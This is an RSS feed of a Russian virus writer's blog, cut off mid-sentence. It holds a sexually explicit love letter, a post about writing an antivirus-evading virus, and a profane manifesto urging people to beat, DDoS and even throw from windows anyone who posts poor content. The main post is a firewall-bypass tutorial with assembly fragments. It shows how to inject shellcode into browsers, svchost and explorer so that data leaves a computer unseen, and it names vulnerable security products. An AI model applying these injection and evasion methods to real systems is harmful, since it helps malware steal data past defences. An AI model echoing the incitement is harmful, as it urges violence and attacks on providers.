не&lt;br&gt;хватало с другими. Я хожу с тобой куда угодно и всегда на тебя смотрят&lt;br&gt;с увидивлением, а на меня с завистью. Я буду вибирать слова. Подумаю&lt;br&gt;дважды прежде чем тебе что-то сказать. Я не хочу тебя обидеть. Хочу&lt;br&gt;лежать с тобой на кровати, проводить с тобой дни на пролет &amp;mdash; только ты&lt;br&gt;и я.&amp;nbsp; Ты и я.&amp;nbsp;Ты как музыка, ты вдохновляешь меня на подвиги. Я все&lt;br&gt;сделаю, все для того чтобы ты улыбнулась мне. Чтобы ты стала немножко&lt;br&gt;веселей. Твой запах притягивает меня своей свежестью утреннего&lt;br&gt;весенненго вохдуха. Жадно втягивая всею гибкостью легких твой запах,&lt;br&gt;наслаждаясь и анализирая его он превращется в сильное возбуждение. Ты&lt;br&gt;для меня всегда тайна. Я знаю о тебе все, но при этом ты всегда меня&lt;br&gt;удивляешь. Спасибо Ида. Я люблю тебя. Я хочу тебя. Я хочу чтобы у нас&lt;br&gt;были дети. наши малыши. Чтобы ты родила мне ребенка. Моего&lt;br&gt;последователя. Моя сперма прыснет внутрь тебя с силой подобной&lt;br&gt;извержению Мексиканского вулкана. После, ты родишь и наш малышь будет&lt;br&gt;жить в настоящей, сильной любви и ласке. Хочу к тебе ида, когда тебя&lt;br&gt;нет рядом я скучаю, скучаю по твоему запаху и грации. Скучаю по твоей&lt;br&gt;неповторимой цельной теплоте. Без тебя трудно жить. Скорее всего долго&lt;br&gt;без тебя я не протяну. Жизнь без тебя не имеет смысла. Спасибо судьбе,&lt;br&gt;что я тебя повстречал. С тобой я счастлив и у меня нет одиночество и&lt;br&gt;невсгод.</description><category>ida</category><category>любовь</category></item><item><guid isPermaLink="true">http://evilphreak.blog.ru/6033987.html</guid><pubDate>Thu, 06 Mar 2008 11:21:50 GMT</pubDate><title>Весна. Любовь.</title><link>http://evilphreak.blog.ru/6033987.html</link><description>Вот кто-то влюбляется по весне, а я пишу вирус. Весенний вирус. Он&lt;br&gt;будет моим весенним ребенком, напичканным кучей антиотладочных трюков,&lt;br&gt;эмоции, которые разливаются в моей душе найдут отражение в коде, нежно&lt;br&gt;сгенерированным компилятором FASM. Те бабочки, которые начинают&lt;br&gt;пархать внутри моей могучей груди от невинного, чистого, прекрасного&lt;br&gt;создания, увиденного мною на фоне голубого неба и нежного прозрачного&lt;br&gt;весеннего запаха плавно превратятся в сложные технологические&lt;br&gt;реализации задуманных пунков технического задания для монстра&lt;br&gt;локальной деструкции и размножения злых файлов исполняемого формата.&lt;br&gt;Все мои нереализованные любовные страдания реализуются в полный рост в&lt;br&gt;красоте алгоритмов, в тонкой оптимизации бинарного исполняемого кода,&lt;br&gt;в сложных не поддающихся малейшей эмуляции антиэмульных трюков. Напор&lt;br&gt;моей любви сломит любой антивирус, любую проактивную защиту. Мало&lt;br&gt;людей найдется на белом свете, кто будет способен добраться до&lt;br&gt;расшифрованного серца моего нежного, красивого малыша, рожденного в&lt;br&gt;столь большой любви, в этих пучинах неразделенных страданий, в минутах&lt;br&gt;максимального напряжения мышц пальцев. Когда ничего больше не видишь&lt;br&gt;вокруг, когда серые облака не помеха перед синевой неба души, синевой&lt;br&gt;романтизма плавно перетекающего в чистую, беззаветную, бесконечную&lt;br&gt;любовь к самому дорогому существу на земле. Результатом этой самой&lt;br&gt;сильной любви (хотя как можно оценить силу любви??) на земле и будет&lt;br&gt;мой малыш &amp;mdash; злой и испесчерённый сложностью продедур, похожий с&lt;br&gt;первого взгляда на обычный код сгенерированный обычным высокоуровневым&lt;br&gt;компилятором, все для того, чтобы антивирус не смог и подумать каплей&lt;br&gt;мысли в его зловредности. И любовь моя не умрет никогда, она останется&lt;br&gt;следами исполнения инструкций по указателю EIP в железных камнях&lt;br&gt;компьютеров всего мира.&lt;br&gt;</description><category>вирус</category><category>любовь</category></item><item><guid isPermaLink="true">http://evilphreak.blog.ru/5737539.html</guid><pubDate>Sun, 24 Feb 2008 03:50:59 GMT</pubDate><title>НЕ ПИШИ ГАВНО!</title><link>http://evilphreak.blog.ru/5737539.html</link><description>&lt;img src="http://stat5.blog.ru/lr/08088894eeb6cffad0e5a11e815a2db5" border="0" title="notshit.jpg" alt=""&gt;</description></item><item><guid isPermaLink="true">http://evilphreak.blog.ru/5737427.html</guid><pubDate>Sun, 24 Feb 2008 03:41:03 GMT</pubDate><title>МУДАГ из Comodo Inc.</title><link>http://evilphreak.blog.ru/5737427.html</link><description>&lt;img src="http://stat5.blog.ru/lr/0808eab0416ca90ad5a538a534c3d55a" border="0" title="Tyler.jpg" alt=""&gt;</description><category>comodo inc.</category></item><item><guid isPermaLink="true">http://evilphreak.blog.ru/5736515.html</guid><pubDate>Sun, 24 Feb 2008 03:11:17 GMT</pubDate><title>Anti Technics</title><link>http://evilphreak.blog.ru/5736515.html</link><description>&lt;img src="http://stat5.blog.ru/lr/0808f17f930cbd34430bca84d6c19f32" border="0" title="antitricks.jpg" alt=""&gt;&lt;br&gt;</description><category>anti technics</category></item><item><guid isPermaLink="true">http://evilphreak.blog.ru/5736243.html</guid><pubDate>Sun, 24 Feb 2008 02:58:51 GMT</pubDate><title>PGP</title><link>http://evilphreak.blog.ru/5736243.html</link><description>&lt;img src="http://stat4.blog.ru/lr/08087a2bb864e2efd6c68d391d5bc8d6" border="0" title="PGP.jpg" alt=""&gt;</description><category>pgp</category></item><item><guid isPermaLink="true">http://evilphreak.blog.ru/5194467.html</guid><pubDate>Sun, 03 Feb 2008 17:56:47 GMT</pubDate><title>Зачем я пишу гавно?</title><link>http://evilphreak.blog.ru/5194467.html</link><description>Вот такой вот нехитрый вопрос пришел в голову. Ответ прост и очевиден&amp;nbsp;&amp;mdash; чтобы что-то написать. А теперь хочу спросить у себя самого же&amp;nbsp;&amp;mdash; а нахуй что-то писать, если это гавно??? Правильно! Гавно не надо писать. Гавно надо смывать в унитазе&amp;nbsp;&amp;mdash; и так образом направлять туда, где другое гавно присутствует.&amp;nbsp;Порой&amp;nbsp;проводя&amp;nbsp;тихие&amp;nbsp;ночи&amp;nbsp;за&amp;nbsp;компьютером&amp;nbsp;начинаешь&amp;nbsp;понимать&amp;nbsp;некоторые&amp;nbsp;&lt;br&gt;хоть&amp;nbsp;и&amp;nbsp;очевидные,&amp;nbsp;но&amp;nbsp;чрезвычайно&amp;nbsp;важные&amp;nbsp;вещи.&amp;nbsp;К&amp;nbsp;примеру&amp;nbsp;-&amp;nbsp;сейчас&amp;nbsp;нет&amp;nbsp;ни&amp;nbsp;одного&amp;nbsp;вирусописателя.&lt;br&gt;Это 100% факт. Важно осознать что такое вирусописатель. Человек, который не один год, занимается написание VX-кода, которые не ссучился, не обострался, не стал торчком, не поженился (упаси бог) и при этом продолжает вести VX-исследования, которые опережают как минимум на шаг существующие разработки противника (т.е. аверов). Но это еще не все. Дальше более важно. Просто писать код&amp;nbsp;&amp;mdash; может каждый.&amp;nbsp;И&amp;nbsp;каждый&amp;nbsp;пишет.&amp;nbsp;Надо&amp;nbsp;его&amp;nbsp;распространять.&amp;nbsp;Но&amp;nbsp;не&amp;nbsp;только&amp;nbsp;код,&amp;nbsp;а&amp;nbsp;идеи, философию&amp;nbsp;и&amp;nbsp;идеологию.&amp;nbsp;Т.е.&amp;nbsp;истинный&amp;nbsp;вирусописатель&amp;nbsp;двигает&amp;nbsp;свою&amp;nbsp;же&amp;nbsp;культуру&amp;nbsp;вперед,&amp;nbsp;приобщает&lt;br&gt;перспективных новичков к этому же благому делу. Да, это не просто. Но в этом и есть сила настоящего вирмейкера как личности, конечно помимо самых вирусов и исследований. И хоть один такой есть? Нет. И я вот пишу гавно, только ради того чтобы написать, - гавно, которое было написано три тыщи раз до меня. Из-за таких мудаков прогресс и стоит на месте. Из-за мудаков, которые пишут чтобы писать, пишут &amp;laquo;для понта ради&amp;raquo;. Отныне и навсегда&amp;nbsp;&amp;mdash;&lt;br&gt;&lt;br&gt;МЫ НЕ ПИШЕМ ГАВНО!!!&lt;br&gt;МЫ НЕ ПИШЕМ ГАВНО!!!&lt;br&gt;МЫ НЕ ПИШЕМ ГАВНО!!!&lt;br&gt;&lt;br&gt;Теперь это мой манифест. НО это еще не все. Скажу больше, надо не только не писать гавно и при этом писать НЕ гавно (not, ~) - плюс ко всему этому надо пиздить сраных пидарасов, которые ради своих травоядных (гнилых, гнойных, оскотиневшихся, ничтожных, подлых. пидарских) понтов пойдут на все чтобы все-таки написать ГАВНО&amp;nbsp;&amp;mdash; на заборе, на сайте, на форуме и подобных источниках.&amp;nbsp;Пиздить,&amp;nbsp;посылать&amp;nbsp;на&amp;nbsp;хуй,&amp;nbsp;доссить,&amp;nbsp;стирать&amp;nbsp;ГАВНО.&amp;nbsp;Поэтому&amp;nbsp;это&amp;nbsp;вторая&amp;nbsp;часть&amp;nbsp;&lt;br&gt;моего личного манифеста&lt;br&gt;&lt;br&gt;ПИЗДИМ ТЕХ, КТО ПИШЕТ ГАВНО!&lt;br&gt;ПИЗДИМ ТЕХ, КТО ПИШЕТ ГАВНО!&lt;br&gt;ПИЗДИМ ТЕХ, КТО ПИШЕТ ГАВНО!&lt;br&gt;&lt;br&gt;Например написал гопник на васме ГАВНО&amp;nbsp;&amp;mdash; топ со сраным названием и сраным ничтожным никчемным содержанием, не несущим ничего нового&amp;nbsp;&amp;mdash; НЕ&amp;nbsp;НАДО&amp;nbsp;МОЛЧАТЬ! - надо отпиздить гопника, закрывать топ, и сделать так чтобы гопник никогда не зашел на сайт или форум&amp;nbsp;васмру.&amp;nbsp;Заддосить&amp;nbsp;прова,&amp;nbsp;который&amp;nbsp;позволил&amp;nbsp;гопнику&amp;nbsp;зайти&amp;nbsp;на&amp;nbsp;васмру.&amp;nbsp;Лучшее&lt;br&gt;средство&amp;nbsp;&amp;mdash; это личные профилактические беседы для вправки мозгов используя различные методы и инструменты, потом обрыв кабеля&amp;nbsp;&amp;mdash; и в идеале необходимо сбросить повинного из окна с летальным исходом, т.к. если мразь и падаль написала ГАВНО&amp;nbsp;&amp;mdash; то его не излечить&amp;nbsp;&amp;mdash; это не поддается излечению. Тоже самое надо сделать и со мной лично, если я впредь посмею написать хоть десяток байт ГАВНА то со мной надо сделать совсем не меньше чем сделали с тем самым гопником, а лучше больше&amp;nbsp;&amp;mdash; засунуть паяльник в жопу пока не скожу пороль от PGP.&lt;br&gt;&lt;br&gt;Я&amp;nbsp;НЕ ПИШУ ГАВНО!!!&lt;br&gt;Я НЕ ПИШУ ГАВНО!!!&lt;br&gt;Я&amp;nbsp;НЕ ПИШУ ГАВНО!!!&lt;br&gt;ПИЗДИМ ТЕХ, КТО ПИШЕТ ГАВНО!&lt;br&gt;ПИЗДИМ ТЕХ, КТО ПИШЕТ ГАВНО!&lt;br&gt;ПИЗДИМ ТЕХ, КТО ПИШЕТ ГАВНО!&lt;br&gt;НЕ&amp;nbsp;НАДО&amp;nbsp;МОЛЧАТЬ!&lt;br&gt;НЕ&amp;nbsp;НАДО&amp;nbsp;МОЛЧАТЬ!&lt;br&gt;НЕ&amp;nbsp;НАДО&amp;nbsp;МОЛЧАТЬ!&lt;br&gt;&lt;br&gt;P.S. удалил стотьи про SEH&amp;nbsp;&amp;mdash; это хуйню писали много-много раз. Хочешь быть у любимой женщины трёхтысячным членом? Будь первым и тогда познаешь себя самого.</description><category>я не пишу гавно!!!</category></item><item><guid isPermaLink="true">http://evilphreak.blog.ru/3936099.html</guid><pubDate>Sat, 29 Dec 2007 01:42:38 GMT</pubDate><title>Injected Evil</title><link>http://evilphreak.blog.ru/3936099.html</link><description>В этой статье я хочу описать техники, который позволят обойти&lt;br&gt;большинство современных проактивных защит и фаерволов. Эта тема&lt;br&gt;очень популярна и достаточно изъезжена, но что-то новое не появлялось&lt;br&gt;уже достаточно большое количество времени.Помимо сугубо практического&lt;br&gt;материала представлю Вам необходимый теоретический минимум для того,&lt;br&gt;чтобы въехать в тему самостоятельно, почувствовать вкус, который&lt;br&gt;чувствует исследователь и взломщик. Конечно, все эти техники используются&lt;br&gt;некоторое количество времени в виде приватных утилит. До этого времени&lt;br&gt;подобная информация не появлялась в таком количестве, качестве и концентрате.&lt;br&gt;Многое было сделано до меня другими исследователями. За это надо сказать им спасибо.&lt;br&gt;За их смелость выложить на публичное мнение свои&lt;br&gt;уникальные разработки. Обход описанный тут раннее нигде не появлялся,&lt;br&gt;но базируется на некоторых известных техниках. Чтож приступим.&lt;br&gt;&lt;br&gt;Теория&lt;br&gt;======&lt;br&gt;Что такое обход защиты? Это возможность выполнять действия, которые запрещает защита.&lt;br&gt;Тут нет правил и законов, есть просто задача добиться результата.&lt;br&gt;Существует негласная война между авторами фаерволов и проактивных защит с взломщиками.&lt;br&gt;Конечно, само существование данной войны очевидно. Отмечу, что здесь рассматривается&lt;br&gt;только материал применимый к ОС семейства Windows NT, хотя теоретические принципы&lt;br&gt;могут быть использованы для обхода любой защиты, которая строится на основе&lt;br&gt;модели архитектуры современных фаерволов. Кратко опишем эту модель.&lt;br&gt;&lt;br&gt;На компьютере жертвы установлен фаервол, который имеет как модуль&amp;nbsp;&amp;mdash; проактивную защиту.&lt;br&gt;Поведение (блокирование и разрешение) фаервола определяется набором правил. Правила&lt;br&gt;бывают обычно двух видов&amp;nbsp;&amp;mdash; глобальные правила и правила для приложений. Если говорить&lt;br&gt;в общем, то в основе обхода любой защиты лежат мысли о 1) допущениях, 2) исключениях или&lt;br&gt;3) ошибках сделанных разработчиками защиты. Эти три вещи дают обход практически любой&lt;br&gt;защиты. А как изввестно не было еще такой защиты, которую не сломали. Если рассматривать&lt;br&gt;персональные фаерволы в этом разрезе, то получим такую схему действий исследования&amp;nbsp;&amp;mdash;&lt;br&gt;искать и использовать три вышеперечисленных пункта. Если поиск успешен, то мы победили.&lt;br&gt;&lt;br&gt;Из всего сказано следует слудующее&amp;nbsp;&amp;mdash; чтобы обойти персональный фаервол необходимо&lt;br&gt;либо использовать существующие правила, либо разрушить модель правил, либо использовать&lt;br&gt;ошибку в ПО защиты. С ошибками в ПО сложнее всего. Во-первых они не универсальны,&lt;br&gt;во-вторых их сложно найти и использовать. Наиболее лучший обход использует минимум&lt;br&gt;недокументированных функций и структур и применим ко всем защитам, т.е. универсален.&lt;br&gt;Я такого обхода не дам :) Поэтому будем использовать недокументированные техники,&lt;br&gt;но при этом относительно универсальные. Вернемся к правилам фаервола&amp;nbsp;&amp;mdash; чтобы их&lt;br&gt;нарушить достаточно попасть в ring0, на этом защита заканчивается. Чтобы использовать&lt;br&gt;существующие правила в своих целях мы используем общую технику известную давно называемую&lt;br&gt;инжектом. Т.е. исполнение кода в контексте доверенного приложения. Так, если мы каким-либо&lt;br&gt;образом заставим доверенное приложение Internet Explorer выполнить наш код, мы сможем&lt;br&gt;отправить данные в обход защиты. Вообще универсально надо брять браузер по умолчанию&lt;br&gt;и его использовать как жертву исполнения нашего кода. И конечно в своем инжектированном&lt;br&gt;коде мы используем правила, которые имеются в фаерволе относительно Internet Explorer&lt;br&gt;(например, исходящие на 80 порт). Теперь дело за малым&amp;nbsp;&amp;mdash; выполнить инжект при этом&lt;br&gt;оставшись незамеченным для проактивной защиты, которая стемится закрыть все методы,&lt;br&gt;которые используются для инжекта. Теперь опишем конкретные атаки, которые применимы&lt;br&gt;для конкретных фаерволов.&lt;br&gt;&lt;br&gt;Общий код инжекта&lt;br&gt;=================&lt;br&gt;Инжект всегда состоит их двух этапов:&lt;br&gt;1) Запись кода в адресное простанство процесса-жертвы&lt;br&gt;2) Передача управления записанному коду&lt;br&gt;&lt;br&gt;Этапы эти могут быть любого вида&amp;nbsp;&amp;mdash; явные или косвенные и использовать&lt;br&gt;любые доступные технические приемы. Если каждый из этапов не обнаруживается защитой,&lt;br&gt;то можно осуществить инжект. При этом каждый этап обязателен, без любого из них&lt;br&gt;инжект не будет осуществлен.&lt;br&gt;&lt;br&gt;CreateProcess&lt;br&gt;=============&lt;br&gt;Алгоритм следущий&amp;nbsp;&amp;mdash; хукаем в своем процессе из NTDLL&amp;nbsp;&amp;mdash; ZwCreateSection,&lt;br&gt;ZwQuerySection и создаем процесс с помощью CreateProcess. До возврата из&lt;br&gt;CreateProcess вызываются хукнутые ZwCreateSection/ZwQuerySection. Тут надо&lt;br&gt;смотреть внутрь механима создания процесса&amp;nbsp;&amp;mdash; когда создается процесс, то&lt;br&gt;один из этапов&amp;nbsp;&amp;mdash; открытие файла EXE-файла и проецирование его на адресное&lt;br&gt;пространство создаваемого процесса. Создание проекции делается функцией ZwCreateSection.&lt;br&gt;В этот момент в перехватчике функции ZwCreateSection можно писать любые данные&lt;br&gt;с помощью той же KERNEL32!WriteProcessMemory и при этом проактивная защита&lt;br&gt;будет молчать. Далее после создания проекции, код CreateProcess получает точку&lt;br&gt;входа (Entry Point) нового процесса (т.е. его первичного потока) с помощью функции&lt;br&gt;ZwQuerySection. Перехватчик ZwQuerySection возвращает точку входа, но не реальную&amp;nbsp;&amp;mdash;&lt;br&gt;взятую из опционального заголовка&amp;nbsp;&amp;mdash; а лживую&amp;nbsp;&amp;mdash; а именно адрес нашего кода, который&lt;br&gt;необходимо выполнить. Т.о. образом когда функция CreateProcess завершит работу будет&lt;br&gt;исполнятся наш код, который отправит данные куда надо в контексте доверенного приложения.&lt;br&gt;&lt;br&gt;Хорошо. Тут есть некоторые моменты, на которые я хотел бы обратить внимание.&lt;br&gt;В обработчике ZwCreateSection не всегда можно писать с помощью WriteProcessMemory,&lt;br&gt;некоторыми защитами это обнаруживается. В этом случае можно перехватить также и&lt;br&gt;WriteProcessMemory, которая также вызывается внутри CreateProcess. Когда&lt;br&gt;создается процесс в него пишутся переменные окружения родительского процесса,&lt;br&gt;если не указаны явно переменные окружения. Вот в этом месте перехватывая WriteProcessMemory&lt;br&gt;можно записать свой shellcode. Тоже самое с PEB. Еще проще просто указать параметром&amp;nbsp;&amp;mdash;&lt;br&gt;lpEnvironment адрес нашего шелкода. Хорошо. Но это тоже не всегда работает.&lt;br&gt;Существует способ записи, который пока работает всегда&amp;nbsp;&amp;mdash; если удается успешно создать процесс.&lt;br&gt;Алгоритм записи следующий:&lt;br&gt;&lt;br&gt;1) Вызов CreateProcess с флагом CREATE_SUSPENDED&lt;br&gt;2) Создание файла, запись shellcode в файл&lt;br&gt;3) Создание проекции файла с шелкодом с помощью NtCreateSection&lt;br&gt;4) Проецирование файла на адресное пространство приостановленного процесса с помощью NtCreateSection&lt;br&gt;&lt;br&gt;Способ хоть и известный, но далеко все авторы защит его пока прикрыли. Многие защиты&lt;br&gt;блокируют создание сетевого процесса, а некоторые вообще создание процесса.&lt;br&gt;Но не все. Например, известный Kaspersky Internet Security 7.0.0.125 поддается на&lt;br&gt;эту атаку. Также на эту атаку поддаются ранние версии Agnitum Outpost (и Outpost 2008&lt;br&gt;если удастся успешно создать процесс). Ну и куча заморских фаерволов такие как Norton&lt;br&gt;Internet Security 2008, Bit Defender Total Security 2008, Zone Alarm 7 на средних настройках&lt;br&gt;(на максимуме блокирует), Agava Firewall, Ashampoo Firewall, AhnLab V3 Internet Security 2007,&lt;br&gt;Black ICE PC Protection 3,6, Look'n'Stop 2,06, Normal Personal Firewall 1,4, Visnetic Firewall&lt;br&gt;3,0 и т.д. и т.д.&lt;br&gt;&lt;br&gt;Перейдем к практической реализации данного метода. Браузер по умолчанию получаем&lt;br&gt;с помощью доступа к ключу по умолчанию в разедел &amp;laquo;http\shell\open\command&amp;raquo;:&lt;br&gt;&lt;br&gt;lea ecx,[hKey]&lt;br&gt;push ecx&lt;br&gt;push KEY_READ&lt;br&gt;push 0&lt;br&gt;lea ecx,[SubKey]&lt;br&gt;push ecx&lt;br&gt;push HKEY_CLASSES_ROOT&lt;br&gt;call RegOpenKeyEx&lt;br&gt;&lt;br&gt;lea ecx,[cbData]&lt;br&gt;push ecx&lt;br&gt;lea ecx,[Buffer]&lt;br&gt;push ecx&lt;br&gt;push NULL&lt;br&gt;push NULL&lt;br&gt;push NULL&lt;br&gt;push [hKey]&lt;br&gt;call RegQueryValueEx&lt;br&gt;&lt;br&gt;После исполнения данного кода в буффере будет путь к браузеру по умолчанию.&lt;br&gt;Далее создаем процесс в приостановленом состоянии:&lt;br&gt;&lt;br&gt;lea eax,[pi]&lt;br&gt;push eax&lt;br&gt;lea eax,[si]&lt;br&gt;push eax&lt;br&gt;push NULL&lt;br&gt;push NULL&lt;br&gt;push CREATE_SUSPENDED&lt;br&gt;push 0&lt;br&gt;push NULL&lt;br&gt;push NULL&lt;br&gt;lea eax,[Buffer]&lt;br&gt;push eax&lt;br&gt;push NULL&lt;br&gt;call CreateProcess&lt;br&gt;&lt;br&gt;Далее создаем проекцию файла и проецируем ее на адресное пространство созданного процесса:&lt;br&gt;&lt;br&gt;push [hFile]&lt;br&gt;push 0x8000000;SEC_COMMIT&lt;br&gt;push PAGE_EXECUTE_READWRITE&lt;br&gt;push NULL&lt;br&gt;push NULL&lt;br&gt;push SECTION_ALL_ACCESS&lt;br&gt;lea eax,[hSection]&lt;br&gt;push eax&lt;br&gt;call NtCreateSection&lt;br&gt;&lt;br&gt;push PAGE_EXECUTE_READWRITE&lt;br&gt;push 0&lt;br&gt;push 1;ViewShare&lt;br&gt;mov [ViewSize],0&lt;br&gt;lea ecx,[ViewSize]&lt;br&gt;push ecx&lt;br&gt;push NULL&lt;br&gt;push 0&lt;br&gt;push 0&lt;br&gt;push [ebx+FreeBaseAddress-NormalCodeStart]&lt;br&gt;pop [BaseAddress]&lt;br&gt;lea ecx,[BaseAddress]&lt;br&gt;push ecx&lt;br&gt;push [pi + PROCESS_INFORMATION.hProcess]&lt;br&gt;push [hSection]&lt;br&gt;call NtMapViewOfSection&lt;br&gt;&lt;br&gt;Вот здесь выявляется проблема. По какому адресу спроецировать shellcode. Ведь&lt;br&gt;уже в этот момент мы должны были изменить точку входа на адрес нашего шелкода&lt;br&gt;(до возврата из CreateProcess в перехватчике NtQuerySection). Пусть это будет предварительно&lt;br&gt;выбранный адрес&amp;nbsp;&amp;mdash; константа, который по тестам не конфликтует с имеющимися проекциями.&lt;br&gt;Но это будет явно не стабильно, т.к. конфликты могут быть и необходимо предусмотреть&lt;br&gt;их отсутствие. Поэтому мы делаем следующим образом. Первый раз вызываем CreateProcess&lt;br&gt;с флагом CREATE_SUSPENDED без хука NtCreateSecion/NtQuerySection, потом делаем проекцию по адресу,&lt;br&gt;который выберет система и запоминаем его. После этого уничтожаем процесс. Далее создаем&lt;br&gt;процесс уже с хуками нужных функций, но уже зная адрес проекции. После создания процесса&lt;br&gt;делаем проекцию по уже известному адресу. Т.о. мы делаем тест конфликта для данной системы.&lt;br&gt;Это должно минимизировать совпадения адресов проекции нашего шелкода и другой выделенной на&lt;br&gt;данной момент памяти. После этог обход можно считать оконченным. Дальше остается только&lt;br&gt;возобновить выполнение первичного потока (т.к. мы создавали процесс у которого первичный поток&lt;br&gt;находится в приостановленном состоянии):&lt;br&gt;&lt;br&gt;push [pi + PROCESS_INFORMATION.hThread]&lt;br&gt;call ResumeThread&lt;br&gt;&lt;br&gt;NtQueueApcThread&lt;br&gt;================&lt;br&gt;На вызове этой функции основан обход почти всех существующий сейчас проактивных защит и&lt;br&gt;фаерволов, какими бы мощными они не казались. Вот алгоритм обхода:&lt;br&gt;&lt;br&gt;1) Создаем DLL с именем совпадающим последними буквами с DLL, которая есть в&lt;br&gt;импорте SVCHOST.EXE, например &amp;laquo;ERNEL32.DLL&amp;raquo; . В DLL должен быть shellcode для&lt;br&gt;исполнения в контексте SVCHOST.EXE (это приложение в правилах всех фаерволов&lt;br&gt;может также проявлять активность как и Internet Explorer).&lt;br&gt;&lt;br&gt;2) Ищем в адресном пространстве процесса SVCHOST.EXE строку &amp;laquo;ERNEL32.DLL&amp;raquo;. Можно&lt;br&gt;делать это сканированием вызовом функции ReadProcessMemory (для этого предварительно&lt;br&gt;надо открыть SVCHOST&amp;nbsp;&amp;mdash; OpenProcess(PROCESS_VM_READ)). Другой и более качественный&lt;br&gt;способ поиска строки&amp;nbsp;&amp;mdash; спроецировать файл SVCHOST.EXE себе в адресное пространство&amp;nbsp;&amp;mdash;&lt;br&gt;и найти в таблице импорта строку &amp;laquo;ERNEL32,32&amp;raquo;. Складывая относительный адрес строки с&lt;br&gt;базовым адресом модуля по умолчанию (ImageBase в опциональном заголовке)&lt;br&gt;получаем адрес нужной строки.&lt;br&gt;&lt;br&gt;3) Перебираем потоки процесса SVCHOST.EXE и делаем вызов для каждого из них NtQueueApcThread.&lt;br&gt;Эта функция добавляет потоку APC&amp;nbsp;&amp;mdash; вызов асинхронной процедуры. Но у функции есть ограничение&lt;br&gt;- процедура выполняется только в случае если поток перешел в режим Alartable. Этот факт&lt;br&gt;обуславливает выбор процесса SVCHOST.EXE в качестве жертвы исполнения shellcode. При исследовании&lt;br&gt;стало понятно, что во всех версиях Windows 2000/XP процесс SVCHOST.EXE имеет Alertable-потоки&lt;br&gt;и при этом SVCHOST.EXE является доверенным приложением с возможной сетевой активностью, что&lt;br&gt;явно дает право выбрать его в качестве жертвы. Также неободимо сказать, что процесс SVCHOST.EXE&lt;br&gt;существует в системе всегда, в противном случае ОС попадает в BSOD (если убить один из SVCHOST.EXE).&lt;br&gt;Вот прототип функции NtQueueApcThread:&lt;br&gt;&lt;br&gt;proc NtQueueApcThread hThread, FunctionAddress, Par1, Par2, Par3&lt;br&gt;&lt;br&gt;Функция добавляет в очередь асинхронных процедур новую асинхронную процедуру с конвецией&lt;br&gt;вызова STDCALL и с передачей трех параметров Par1, Par2, Par3. Интересно, но есть функция,&lt;br&gt;которая очень точно нам подоходит и также принимает три параметра&amp;nbsp;&amp;mdash; LoadLibraryEx. Т.о. мы&lt;br&gt;просто загружаем DLL в адресное пространство процесса SVCHOST.EXE.&lt;br&gt;&lt;br&gt;4) Из самой DLL нельзя что-либо делать, т.к. это обнаружение контролем компонентов.&lt;br&gt;Поэтому что все мы делаем в DLLMain это&amp;nbsp;&amp;mdash; копируем shellcode из своего тела, и сохраняем в&lt;br&gt;файл с известным именем TID и адрес shellcode. Далее после проделанных действий DLL нужно удалить.&lt;br&gt;&lt;br&gt;5) Открываем файл созданный внутри DllMain&amp;nbsp;&amp;mdash; и ставим в очередь известного потока&lt;br&gt;(его TID записан в файле) адрес процедуры, который также известен. после этого обход закончен.&lt;br&gt;&lt;br&gt;Этот обход преодолевает уже и Comodo Firewall 2,4 и Agnitum Outpost 2008 и все названные&lt;br&gt;в предыдущем разделе защиты. Остались при этом живы Jetico и Tiny&amp;nbsp;&amp;mdash; об обходе этих защит&lt;br&gt;здесь говорить ничего не буду, т.к. это отдельный разговор. Zone Alarm 7 в параноидальном&lt;br&gt;режиме ловит этот вид обхода&amp;nbsp;&amp;mdash; а именно не дает открыть поток для посылки в него APC,&lt;br&gt;но для него был сделан отдельных обход, который я опишу ниже.&lt;br&gt;&lt;br&gt;Zone Alarm&lt;br&gt;==========&lt;br&gt;У ZoneAlarm особая модель&amp;nbsp;&amp;mdash; Trusted Application. Если исполнять что-либо в контексте&lt;br&gt;Super Trusted приложений, то ZA не обратит на это внимание. Одно из таких Super&lt;br&gt;Trusted приложений&amp;nbsp;&amp;mdash; это EXPLORER.EXE. У ZA особая модель защиты&amp;nbsp;&amp;mdash; она не мучается&lt;br&gt;перехватывать кучу функций в SDT относительно потоков и процессов&amp;nbsp;&amp;mdash; она просто не дает&lt;br&gt;открывать процесс и поток с видами доступа, которые могут привести к нарушению безопасности.&lt;br&gt;Т.е. если открывать процесс или поток, то ZA будет ругатся. Но была найдена ошибка,&lt;br&gt;которая позволяет все таки открыть процесс. Вот алгоритм:&lt;br&gt;&lt;br&gt;1) Открываем процесс с правами DUP_HANDLE&amp;nbsp;&amp;mdash; это ZA позволяет.&lt;br&gt;&lt;br&gt;2) Перечисляем описатели EXPLORER.EXE в поисках описателя одного из потоков EXPLORER.EXE в нем.&lt;br&gt;Смотрим права для описателя&amp;nbsp;&amp;mdash; если они максимальны, то делаем вызов DuplicateHandle.&lt;br&gt;Т.о. мы получаем описатель потока с максимальными привилегиями.&lt;br&gt;&lt;br&gt;3) Теперь можно сделать инжект. Передать управление мы можем с помощью функции SetThreadContext,&lt;br&gt;описатель потока у нас есть. Но чтобы в процесс записать данные надо исопльзовать отдельную технику,&lt;br&gt;которая общедоступна. О ней в следующем пункте.&lt;br&gt;&lt;br&gt;4) При перечислении описателей получаем описатель порта. У EXPLORER.EXE во всех версиях&lt;br&gt;имеется порт. После получения описателя порта получаем его имя. После этого вызовом&lt;br&gt;NtConnectPort и созданием секции в которой находится наш shellcode проекция файла с shellcode&lt;br&gt;волшебным образом окажется в адресном пространстве процесса EXPLORER.EXE.&lt;br&gt;&lt;br&gt;5) Используем SetThreadContext для передачи управления нашему shellcode.&lt;br&gt;&lt;br&gt;6) Т.к. от имени EXPLORER.EXE можно делать разные системные вещи (но нельзя проявлять сетевую активность)&lt;br&gt;без опасения тревоги ZA, то используем метод с названием CreateProcess описанный выше для&lt;br&gt;окончательного обхода ZA на параноидальных настройках.&lt;br&gt;&lt;br&gt;Видно, что обход основан на том, что возможно все таки получить описатель потока без&lt;br&gt;обнаружения ZA. При этом нам повезло, что процесс EXPLORER имеет в себе свои же описатели&lt;br&gt;потоков с максимальными привилениями, а также имеет порт, подключение к которому позволяет&lt;br&gt;записать данные shellcode в адресное пространство процесса-жертвы используя ранее публично доступный&lt;br&gt;метод. При исследонии ZA было также обнаружено, что ZA позволяет открыть процесс СTFMON.EXE с максимальными&lt;br&gt;привилегиями без предупреждения пользователя. Это факт также легко может использоваться для обхода ZA.&lt;br&gt;Но CTFMON.ExE не всегда запущен (хоть и очень часто&amp;nbsp;&amp;mdash; сама Windows прописывает его в автозагрузку при установке),&lt;br&gt;и появился только в Windows XP, поэтому этот способ не очень 